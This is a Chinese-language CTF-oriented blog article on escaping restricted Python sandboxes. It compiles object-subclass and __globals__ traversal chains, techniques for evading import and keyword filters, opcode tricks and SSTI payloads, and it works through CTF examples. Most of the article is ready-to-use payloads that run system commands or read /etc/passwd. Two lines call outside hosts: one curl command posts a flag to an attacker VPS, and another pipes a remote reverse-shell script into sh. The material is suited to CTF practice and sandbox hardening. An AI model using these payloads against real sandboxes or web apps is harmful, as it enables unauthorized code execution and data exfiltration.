沙箱逃逸就是在在一个严格限制的python环境中,通过绕过限制和过滤达到执行更高权限,甚至getshell的过程 。
执行模块
执行命令的模块
1 |
os |
os模块
os,语义为操作系统,模块提供了访问多个操作系统服务的功能,可以处理文件和目录。
1 |
os模块 |
timeit模块
1 |
import timeit |
plarform模块
1 |
import platform |
subprocess模块
1 |
import subprocess |
pty模块
1 |
#仅限Linux环境 |
commands模块
commands模块会返回命令的输出和执行的状态位,仅限Linux环境
1 |
import commands |
文件读取的模块
1 |
file |
file()函数
该函数只存在于Python2,Python3不存在
1 |
file('/etc/passwd').read() |
open()函数
1 |
open('text.txt').read() |
codecs模块
1 |
import codecs |
获取当前Python环境信息
sys模块
1 |
import sys |
执行函数
exec(),eval(),execfile(),compile()函数
1 |
eval('__import__("os").system("ls")') |
sys模块
该模块通过modules()函数引入命令执行模块来实现:
1 |
import sys |
内联函数
1 |
# 下面代码可列出所有的内联函数 |
魔术函数
python沙箱逃逸还是离不开继承关系和子父类关系,在查看和使用类的继承,魔法函数起到了不可比拟的作用。
1 |
__class__ 返回一个实例所属的类 |
例子
1 |
class A(object): |
object类
对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」(Method Resolution Order,或MRO)。
关于MRO的文章:http://hanjianwei.com/2013/07/25/python-mro/
python的主旨是一切变量皆对象
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__
和 __bases__
两种方式来创建。__mro__
属性获取类的MRO(方法解析顺序),也就是继承关系。__bases__
属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
通过__mro__
和__bases__
两种方式创建object类
1 |
().__class__.__bases__[0] |
然后通过object类的__subclasses__()
方法来获得当前环境下能够访问的所有对象,因为调用对象的 __subclasses__()
方法会返回当前环境中所有继承于该对象的对象.。Python2和Python3获取的结果不同。
1 |
{}.__class__.__bases__[0].__subclasses__() |
常见的逃匿思路
常见逃逸思路
当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示:
1 |
* __class__:获得当前对象的类 |
获取object类
1 |
''.__class__.__mro__[2] |
然后通过object类的__subclasses__()
方法获取所有的子类列表
1 |
[].__class__.__mro__[1].__subclasses__() |
找到重载过的__init__
类,例如:
1 |
[].__class__.__mro__[1].__subclasses__()[59].__init__ |
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__
属性。
写个脚本帮我们来筛选出重载过的init类的类:
1 |
l=len([].__class__.__mro__[1].__subclasses__()) |
result
python2:
1 |
(59, <class 'warnings.WarningMessage'>) |
python3:
1 |
64 <class '_frozen_importlib._ModuleLock'> |
重载过的init类的类具有globals属性,这里以WarningMessage为例,会返回很多dict类型:
1 |
#python2 |
寻找keys中的builtins来查看引用,这里同样会返回很多dict类型:
1 |
#python2 |
再在keys中寻找可利用的函数即可,如file()函数为例:
1 |
#python2 |
至此,整个元素链调用的构造过程就走了一遍了,下面看看还有哪些可利用的函数。
使用脚本遍历其他逃逸方法
Python2的脚本如下:
1 |
|
下面简单归纳下遍历的4种方式:
第一种方式
序号为40,即file()函数,进行文件读取和写入,payload如下:
1 |
''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read() |
这和前面元素链构造时给出的Demo有点区别:
1 |
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read() |
序号59是WarningMessage类,其具有globals属性,包含builtins,其中含有file()函数,属于第二种方式;而这里是直接在object类的所有子类中直接找到了file()函数的序号为40,直接调用即可。
第二种方式
先看序号为59的WarningMessage类有哪些而利用的模块或方法:
1 |
(59, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__']) |
以linecache中的os为例,这里简单解释下工具的寻找过程依次如下:
1 |
# 确认linecache |
payload如下:
1 |
# linecache利用 |
序号为60的catch_warnings类利用payload同上。
序号为61、62的两个类均只有__builtins__
可利用,利用payload同上。
序号为72、77的两个类_Printer和Quitter,相比前面的,没见过的有os和traceback,但只有os模块可利用:
1 |
# os利用 |
序号为78、79的两个类IncrementalEncoder和IncrementalDecoder,相比前面的,没见过的有open:
1 |
# open利用 |
第三种方式
先看下序号为59的WarningMessage类:
1 |
(59, 13, <class 'warnings.WarningMessage'>, '__import__') |
注意是通过values()函数中的数组序号来填写第二个数值实现调用,以下以eval为示例,其他的利用payload和前面的差不多就不再赘述了:
1 |
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("calc")') |
其他类似修改即可。
第四种方式
这里只有一种序号,为60:
1 |
(60, '__import__') |
调用示例如下,其他类似修改即可:
1 |
''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc") |
python3
1 |
# coding=UTF-8 |
代码执行
python2
1 |
# 利用file()函数读取文件:(写类似) |
python3
python3各个小版本之间有区别,有的payload可以用于py3.7 有的可以用于py3.5
1 |
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls') |
import限制与绕过
import 导入
所以说如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者a.__dict__[b<name>]
的方法间接访问模块b
例子1
1 |
import re,sys |
要执行shell命令,必须引入 os/commands/subprocess这几个包,
对于攻击者来说,改如何绕过呢,
必须使用其他的引入方式
1 |
__import__函数 #动态加载类和函数 |
__import__
函数
1 |
test = __import__("os") |
importlib库
1 |
import importlib |
还可以使用编码的方式绕过对导入包关键字的检查,比如使用base64,python2中适用
1 |
import base64 |
或者使用字符串拼接的方式
1 |
'o'+'s').system('who'+'ami') __import__( |
字符串f翻转截取
1 |
>>> __import__('so'[::-1]).system('whoami') |
例子2
1 |
import re,sys |
使用execfile,不过在这之前需要判断得到库的物理路径。如果sys模块没被禁用的话,就可以使用sys来获取物理路径。这种方式只能用在python2中,python3取消了execfile
1 |
>>> execfile('/usr/lib/python2.7/os.py') #Linux系统下默认路径 |
python3可以利用读取文件,配合exec来执行
1 |
>>> f = open(r'/usr/lib/python3.6/os.py','r') |
#不可以执行利用exec打开读取,exec需要执行的是其中的内容,直接打开的时候exec执行的就是读取文件操作
exec(“open(‘/usr/lib/python3.6/os.py’,’r’).read()”)
使用with open的形式
1 |
>>> with open('/usr/lib/python3.6/os.py','r') as f: |
或者使用字符串拼接的方式,但是需要跟exec,eval一起利用。
1 |
>>> exec('imp'+'ort'+' '+'os;'+'os.system("whoami")') |
builtin
在python中,我们知道,不用引入直接使用的内置函数称为 builtin 函数,随着__builtin__
这一个module 自动被引入到环境中
(在python3.x 版本中,__builtin__
变成了builtins,而且需要引入)
因此,open(),int(),chr()这些函数,就相当于
1 |
__builtin__.open() |
如果我们把这些函数从builtin中删除,那么就不能够再直接使用了
1 |
>>> import __builtin__ |
同样,刚才的__import__
函数,同样也是一个builtin函数,同样,常用的危险函数eval,exec,execfile也是__builtin__
的,因此只要从__builtin__
中删除这些东西,那么就不能再去使用了
__builtin__
和 __builtins__
之间是什么关系呢?
1、在主模块main中,__builtins__
是对内建模块__builtin__
本身的引用,即__builtins__
完全等价于__builtin__
,二者完全是一个东西,不分彼此。
2、非主模块main中,__builtins__
仅是对__builtin__.__dict__
的引用,而非__builtin__
本身
*解决办法: *
__builtins__
是一个默认引入的module
对于模块,有一个函数reload用于重新从文件系统中的代码来载入模块
因此我们只需要
1 |
reload(__builtins__) |
就可以重新得到完整的__builtins__
模块了
但是,reload也是__builtins__
下面的函数,如果直接把它干掉,就没办法重新引入了
但可以使用
1 |
import imp |
其他特殊函数
通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,然后遍历 subclasses 列表,找到所有可以绕过的姿势
查找方式,详情可看此篇文章
Python沙箱逃逸总结
OpCode
opcode又称为操作码,是将python源代码进行编译之后的结果,python虚拟机无法直接执行human-readable的源代码,因此python编译器第一步先将源代码进行编译,以此得到opcode。例如在执行python程序时一般会先生成一个pyc文件,pyc文件就是编译后的结果,其中含有opcode序列。
1 |
import dis |
result:
1 |
Opcode of a(): 6401006402006b020072140064030047486e000064000053 |
为了进一步研究OpCode,我们可以对dis的disassemble_string函数进行patch
在124行加入
1 |
print hex(op).ljust(6), |
可以查看具体的字节码。
1 |
Opcode of a(): 6401006402006b020072140064030047486e000064000053 |
指令名 | 操作 |
---|---|
LOAD_GLOBAL | 读取全局变量 |
STORE_GLOBAL | 给全局变量赋值 |
LOAD_FAST | 读取局部变量 |
STORE_FAST | 给局部变量赋值 |
LOAD_CONST | 读取常量 |
POP_JUMP_IF_FALSE | 当条件为假的时候跳转 |
JUMP_FORWARD | 直接跳转 |
例题 1
1 |
def a(): |
sulution1
直接获取a.__code__.co_consts
,查看所有的常量。即可知道flag
1 |
(None, 1, 2, 'flag{****}') |
sulution2
更改程序运行逻辑
CodeType构造函数
1 |
def __init__(self, argcount, nlocals, stacksize, flags, code, |
上述函数其余参数均可通过__code.__.co_xxx
获得
因此我们
1 |
def a(): |
输出
1 |
co_argcount 0 |
构造相应目标代码
1 |
def a(): |
得到code
1 |
6401006402006b030072140064030047486e000064000053 |
构造payload
1 |
def a(): |
即可输出flag
过滤绕过
过滤__globals__
当__globals__
被禁用时,
- 可以用func_globals直接替换;
- 使用
__getattribute__('__globa'+'ls__')
1
2
3
4
5
6
7# 原型是调用__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('calc')
# 如果过滤了__globals__,可直接替换为func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['__builtins__']['__import__']('os').system('calc')
# 也可以通过拼接字符串得到方式绕过
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")['__builtins__']['__import__']('os').system('calc')过滤global
1
{{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}
base64编码
对关键字进行base64编码可绕过一些明文检测机制:
1
2
3
4
5
6
7import base64
'__import__') base64.b64encode(
'X19pbXBvcnRfXw=='
'os') base64.b64encode(
'b3M='
'X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('calc') __builtins__.__dict__[
0
reload()方法
某些情况下,通过del将一些模块的某些方法给删除掉了,但是我们可以通过reload()函数重新加载该模块,从而可以调用删除掉的可利用的方法:
1 |
'eval'] __builtins__.__dict__[ |
字符串拼接
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
1 |
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__bu'+'iltins__']['__impor'+'t__']('o'+'s').system('ca'+'lc') |
过滤中括号
当中括号[]被过滤掉时,
- 调用
__getitem__()
函数直接替换; - 调用pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
1 |
# 原型 |
ctf例题
examp1
1 |
from __future__ import print_function |
这道题目运行在python2.7的环境,虽然没有删除reload,但是利用了黑名单机制,即使你重新载入builtins,也不能成功使用删除的危险函数。
file 文件读取
1 |
().__class__.__bases__[0].__subclasses__()[40]('./flag.txt').read() |
调用其他类中的OS模块完成命令执行
1 |
class 'warnings.catch_warnings' |
examp2
pysandbox SCTF2020
1 |
from flask import Flask, request |
solution1:
置静态目录的做法
1 |
/?POST=%2f |
设置静态目录为/
之后即可访问static/flag
solution2:__builtins__
是python的内建函数的内建命名空间,dir看一下有ord
将其改写为lambda匿名函数,先覆盖ord,让其返回42-122之间的数即可,确保不会error
1 |
__builtins__.__dict__['ord'] = lambda args:42 |
但是过滤了空格和引号,空格可以用 *args
代替。
1 |
post / |
然后再将路由函数覆盖掉
1 |
post / |
不过此做法,如果其他人也在做题,不管其请求什么,同时也会得到flag
所以可以反弹shell
1 |
cmd=__import__("os").popen("curl -d `/readflag` vps:port").read() |
solution3:
[TokyoWesterns 2018 shrine writeup](TokyoWesterns 2018 shrine writeup)
本 题 的 主 要 思 路 就 是 劫 持 函 数 , 通 过 替 换 某 一 个 函 数 为 eval system等 , 然 后 变 量 外 部 可 控 ,
即 可 RCE
看 了 一 下 大 家 RCE的 做 法 都 不 相 同 , 但 只 要 是 劫 持 都 算 在 预 期 内 , 只 是 链 不 一 样 , 这 里 就 只
贴 一 下 自 己 当 时 挖 到 的 方 法 了
首 先 要 找 到 一 个合 适 的 函 数 , 满 足 参 数 可 控 , 最 终 找 到 werkzeug.urls.url_parse这 个 函 数 , 参
数 就 是 HTTP包 的 路 径
比 如
1 |
GET /index.php HTTP/1.1 |
参 数 就 是 ‘/index.php’
然 后 是 劫 持 , 我 们 无 法 输 入 任 何 括 号 和 空 格 , 所 以 无 法 直 接 import werkzeug
需 要 通 过 一 个 继 承 链 关 系 来 找 到 werkzeug这 个 类
直 接 拿 出 tokyowestern 2018年 shrine的 找 继 承 链 脚 本
( https://eviloh.github.io/2018/09/03/TokyoWesterns-2018-shrine-writeup/)
访 问 一 下 , 即 可 在 1.txt最 下 面 看 到 继 承 链
最 终 找 到 是
1 |
request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls'] |
但 是 发 现 我 们 不 能 输 入 任 何 引 号 , 这 个 考 点 也 考 多 了 , 可 以 通 过 request的 属 性 进 行 bypass
一 些 外 部 可 控 的 request属 性
1 |
request.host |
然 后 url_parse函 数 就 变 成 了 eval
然 后 访 问 第 二 个 请 求
1 |
POST __import__('os').system('curl${IFS}https://shell.now.sh/8.8.8.8:1003|sh') |
参考文章:
python 沙箱逃逸与SSTI
Python 沙箱逃逸
Python的方法解析顺序
Bypass Python sandboxes
Python沙箱逃逸的n种姿势
用python继承链搞事情
Python沙箱逃逸总结
利用OpCode绕过Python沙箱
从一个CTF题目学习Python沙箱逃逸
Python沙箱逃逸小结
FROM :blog.cfyqy.com | Author:cfyqy
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论